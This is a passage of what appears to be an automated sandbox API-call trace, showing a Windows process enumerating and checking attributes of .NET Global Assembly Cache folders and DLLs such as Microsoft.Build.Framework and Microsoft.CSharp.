	[0088.621] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4297460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4297460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.621] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479ae8 | out: lpFileInformation=0x12479ae8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cb50bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cb50bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.621] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.622] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4297460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cb50bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cb50bc0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.622] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.622] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Build.Framework.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.framework\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.build.framework.dll"), fInfoLevelId=0x0, lpFileInformation=0x12479b88 | out: lpFileInformation=0x12479b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cb50bc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x186e8)) returned 1
	[0088.622] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.tasks.v4.0"), fInfoLevelId=0x0, lpFileInformation=0x12479bd8 | out: lpFileInformation=0x12479bd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42e3720, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa42e3720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa42e3720, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.622] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.tasks.v4.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.622] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42e3720, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa42e3720, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa42e3720, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.622] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479c78 | out: lpFileInformation=0x12479c78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42bd5c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cb9ce80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cb9ce80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.623] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.623] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa42bd5c0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cb9ce80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cb9ce80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.623] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Build.Tasks.v4.0.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.tasks.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.build.tasks.v4.0.dll"), fInfoLevelId=0x0, lpFileInformation=0x12479d18 | out: lpFileInformation=0x12479d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cb9ce80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11bae8)) returned 1
	[0088.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.utilities.v4.0"), fInfoLevelId=0x0, lpFileInformation=0x12479d68 | out: lpFileInformation=0x12479d68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4309880, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4309880, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.624] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.utilities.v4.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.624] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4309880, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4309880, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.624] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.624] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479e08 | out: lpFileInformation=0x12479e08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cbe9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cbe9140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.624] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.624] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4309880, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cbe9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cbe9140, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.624] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.625] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Build.Utilities.v4.0.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.build.utilities.v4.0\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.build.utilities.v4.0.dll"), fInfoLevelId=0x0, lpFileInformation=0x12479ea8 | out: lpFileInformation=0x12479ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cbe9140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x41af8)) returned 1
	[0088.625] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.csharp"), fInfoLevelId=0x0, lpFileInformation=0x12479ef8 | out: lpFileInformation=0x12479ef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9327f3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9327f3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.625] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.csharp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.625] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9327f3c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9327f3c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.625] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.625] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.csharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12479f98 | out: lpFileInformation=0x12479f98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cc35400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cc35400, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.625] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.csharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.625] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9327f3c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cc35400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cc35400, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.626] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.626] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.CSharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.CSharp.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.csharp\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.csharp.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492058 | out: lpFileInformation=0x12492058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cc35400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x764b8)) returned 1
	[0088.626] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.data.entity.build.tasks"), fInfoLevelId=0x0, lpFileInformation=0x124920a8 | out: lpFileInformation=0x124920a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ed0ea0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ed0ea0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.626] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.data.entity.build.tasks"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.626] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ed0ea0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ed0ea0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.626] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.626] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.data.entity.build.tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492148 | out: lpFileInformation=0x12492148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cc816c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cc816c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.627] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.data.entity.build.tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.627] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cc816c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cc816c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.627] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.627] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Data.Entity.Build.Tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Data.Entity.Build.Tasks.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.data.entity.build.tasks\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.data.entity.build.tasks.dll"), fInfoLevelId=0x0, lpFileInformation=0x124921e8 | out: lpFileInformation=0x124921e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cc816c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xcd08)) returned 1
	[0088.627] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.internal.tasks.dataflow"), fInfoLevelId=0x0, lpFileInformation=0x12492238 | out: lpFileInformation=0x12492238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.627] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.internal.tasks.dataflow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.627] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.628] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.628] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.internal.tasks.dataflow\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x124922d8 | out: lpFileInformation=0x124922d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cccd980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cccd980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.628] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.internal.tasks.dataflow\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.628] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x5cccd980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cccd980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.628] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
